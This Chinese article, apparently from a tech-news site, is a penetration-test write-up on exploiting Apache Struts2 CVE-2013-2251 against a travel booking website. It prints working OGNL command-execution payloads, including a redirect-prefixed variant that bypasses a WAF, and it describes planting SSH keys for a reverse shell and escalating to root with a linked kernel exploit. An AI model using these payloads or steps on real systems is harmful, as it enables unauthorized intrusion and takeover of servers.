如何利用Struts2漏洞绕过防火墙获取Root权限

发布时间:2021-11-18 15:47:11 作者:柒染
来源:亿速云 阅读:244

如何利用Struts2漏洞绕过防火墙获取Root权限,相信很多没有经验的人对此束手无策,为此本文总结了问题出现的原因和解决方法,通过这篇文章希望你能解决这个问题。

关于Apache struts2 CVE-2013–2251漏洞的,由于该漏洞可以导致远程代码执行,曾一度被广泛滥用。该漏洞原理在于,通过操纵前缀为“action:”/”redirect:”/”redirectAction:”的参数,在Struts 低于2.3.15的版本框架中实现远程代码执行。此次测试中,我不仅绕过了WAF防火墙实现远程代码执行,还利用了某Linux提权漏洞获取了目标服务器的root管理控制权。整个过程如下:

构造Payload被WAF拦截

首先我在测试一个旅游预订网站的时候,发现了其网站存在有漏洞的Apache Struts框架,又对“action, redirect,redirectAction”漏洞参数进行了必要的测试,为了实现漏洞利用,需要构造一个OGNL表达式,从这个网站上我得到了一些启示,由此,我构造了一个执行命令"ifconfig"的有效Payload:

redirect:${#a=(new java.lang.ProcessBuilder(new java.lang.String[]{‘ ifconfig’})).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#matt=#context.get(‘com.opensymphony.xwork2.dispatcher.HttpServletResponse’),#matt.getWriter().println(#e),#matt.getWriter().flush(),#matt.getWriter().close()}

如何利用Struts2漏洞绕过防火墙获取Root权限

但不出所料,以上Payload却被目标服务器上的应用层防火墙拦截了,返回了以下bots响应页面:

如何利用Struts2漏洞绕过防火墙获取Root权限    

这时,我总会从根本性上来分析问题,之前提到过,漏洞参数中涉及 “Redirect”,而上述Payload也是利用了 “Redirect”参数构造的,那我们再对目标网站的请求作个Redirect测试吧,把请求跳转到假设网站http://www.goal.com上来,如下:

如何利用Struts2漏洞绕过防火墙获取Root权限

构造Payload绕过WAF

可以看到,最终响应页面中是一个指向假设网站http://www.goal.com的302跳转页面。上述直接的Payload被防火墙阻挡了,而这里的跳转却能生效,那两者结合是不是可以玩个防火墙绕过呢?所以,也就有了以下Payload:

redirect:http://www.goal.com/${#a=(new java.lang.ProcessBuilder(new java.lang.String[]{‘ ifconfig’})).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#matt=#context.get(‘com.opensymphony.xwork2.dispatcher.HttpServletResponse’),#matt.getWriter().println(#e),#matt.getWriter().flush(),#matt.getWriter().close()}

测试后发起的请求如下:

如何利用Struts2漏洞绕过防火墙获取Root权限    

响应测试后,竟然能绕过防火墙执行ifconfig命令,哈哈,是时候欢呼了!

如何利用Struts2漏洞绕过防火墙获取Root权限

SSH方式获取shell

好吧,接下来,我就来尝试远程管理权限获取。我使用了反向SSH隧道和公钥身份验证进行了尝试,这种方式,允许SSH用户无需输入密码即可登录。为此呢,我需要把我入侵测试服务器AWS的SSH公钥放到目标服务器的授权认证列表~/.ssh/authorized_keys中去,并且,为了证实身份和作反向SSH连接,我还必需在我的测试服务器中添加进目标服务器的id_rsa.pub公钥。这里涉及的公钥认证概念可参考此处public key authentication说明。

id_rsa.pub是一个用户身份公钥,可以把它添加进其它主机中的authorized_keys文件中,以实现用该用户身份的登录行为。authorized_keys则是允许登录到该特定服务器上的特定用户的公钥列表。

第一步,获取目标服务器的id_rsa.pub文件:

如何利用Struts2漏洞绕过防火墙获取Root权限

第二步,把authorized_keys文件复制到我的AWS测试服务器中:

如何利用Struts2漏洞绕过防火墙获取Root权限

第三步,将我AWS测试服务器中构造好的authorized_keys文件复制回目标服务器中:

如何利用Struts2漏洞绕过防火墙获取Root权限    

使用SSH反向实现最终连接:

如何利用Struts2漏洞绕过防火墙获取Root权限

root提权

看到了吧,可以获取远程管理权限,但却不是root管理员身份。好吧,为了要root身份提权,我来看看目标服务器上的Linux内核版本:

如何利用Struts2漏洞绕过防火墙获取Root权限    

是 2.6.32 版本的,Google一下,看看有没有对应的漏洞,哇,竟然有一个对应的系统提权漏洞:https://github.com/realtalk/cve-2013-2094 ,最终编译运行exploit,实现root提权:    

如何利用Struts2漏洞绕过防火墙获取Root权限    

好吧,以上就是我利用apache strut 2漏洞,绕过WAF并结合某Linux提权漏洞实现的一次渗透测试。

看完上述内容,你们掌握如何利用Struts2漏洞绕过防火墙获取Root权限的方法了吗?如果还想学到更多技能或想了解更多相关内容,欢迎关注亿速云行业资讯频道,感谢各位的阅读!

推荐阅读:
  1. iOS 13 绕过锁屏密码漏洞
  2. 利用Vulnhub复现漏洞 - Couchdb 垂直权限绕过

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

struts2 防火墙 root

上一篇:如何将docker升级到最新版本

下一篇:如何在docker容器中部署Web项目

相关阅读

您好,登录后才能下订单哦!

密码登录
登录注册
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》